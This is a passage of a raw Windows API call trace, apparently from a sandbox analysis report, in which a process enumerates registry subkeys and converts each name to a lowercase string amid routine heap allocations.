BaseAddress=0x1d7c0d8) returned 1 [0031.239] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.239] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.239] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1c, lpName=0x1d7b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0031.239] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.239] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x1d7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0031.239] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.239] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.239] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.239] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.239] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1d, lpName=0x1d7b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0031.239] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0031.239] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x1d7c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0031.239] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.239] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.239] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.239] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.239] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1e, lpName=0x1d7b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0031.239] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.239] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0031.240] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.240] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.240] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.240] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.240] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1f, lpName=0x1d7b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0031.240] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.240] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x1d7c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0031.240] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.240] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.240] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.240] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.240] RegEnumKeyW (in: hKey=0x34, dwIndex=0x20, lpName=0x1d7b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0031.240] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.240] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x1d7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0031.240] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.240] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.240] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.240] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.240] RegEnumKeyW (in: hKey=0x34, dwIndex=0x21, lpName=0x1d7b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0031.240] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0031.240] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x1d7c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0031.240] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.240] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.240] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.240] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.240] RegEnumKeyW (in: hKey=0x34, dwIndex=0x22, lpName=0x1d7b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0031.240] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.241] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0031.241] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.241] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.241] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.241] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.241] RegEnumKeyW (in: hKey=0x34, dwIndex=0x23, lpName=0x1d7b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0031.241] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.241] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x1d7c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0031.241] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.241] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.241] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.241] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.241] RegEnumKeyW (in: hKey=0x34, dwIndex=0x24, lpName=0x1d7b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0031.241] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0031.241] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x1d7c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0031.241] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.241] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.241] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.241] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.241] RegEnumKeyW (in: hKey=0x34, dwIndex=0x25, lpName=0x1d7b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0031.241] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0031.241] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x1d7c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0031.241] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.241] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.241] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.241] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.241] RegEnumKeyW (in: hKey=0x34, dwIndex=0x26, lpName=0x1d7b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0031.241] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.242] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0031.242] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.242] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.242] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.242] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.242] RegEnumKeyW (in: hKey=0x34, dwIndex=0x27, lpName=0x1d7b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0031.242] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.242] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x1d7c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0031.242] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.242] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.242] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.242] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.242] RegEnumKeyW (in: hKey=0x34, dwIndex=0x28, lpName=0x1d7b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0031.242] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.242] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0031.242] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.242] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.242] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.242] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.242] RegEnumKeyW (in: hKey=0x34, dwIndex=0x29, lpName=0x1d7b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0031.242] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.242] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x1d7c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0031.242] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.242] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.242] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.242] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.242] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2a, lpName=0x1d7b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0031.242] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0031.243] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x1d7c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0031.243] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.243] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.243] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.243] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.243] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2b, lpName=0x1d7b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0031.243] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0031.243] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x1d7c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0031.243] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.243] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.243] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.243] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.243] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2c, lpName=0x1d7b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0031.243] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0031.243] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x1d7c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0031.243] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.243] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.243] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.243] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.243] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2d, lpName=0x1d7b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0031.243] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0031.243] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x1d7c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0031.243] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.243] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.243] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.243] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.243] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2e, lpName=0x1d7b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0031.243] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0031.244] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x1d7c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0031.244] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.244] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.244] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.244] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.244] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2f, lpName=0x1d7b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0031.244] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0031.244] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x1d7c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0031.244] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.244] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.244] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.244] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.244] RegEnumKeyW (in: hKey=0x34, dwIndex=0x30, lpName=0x1d7b930, cchName=0x104 | out: 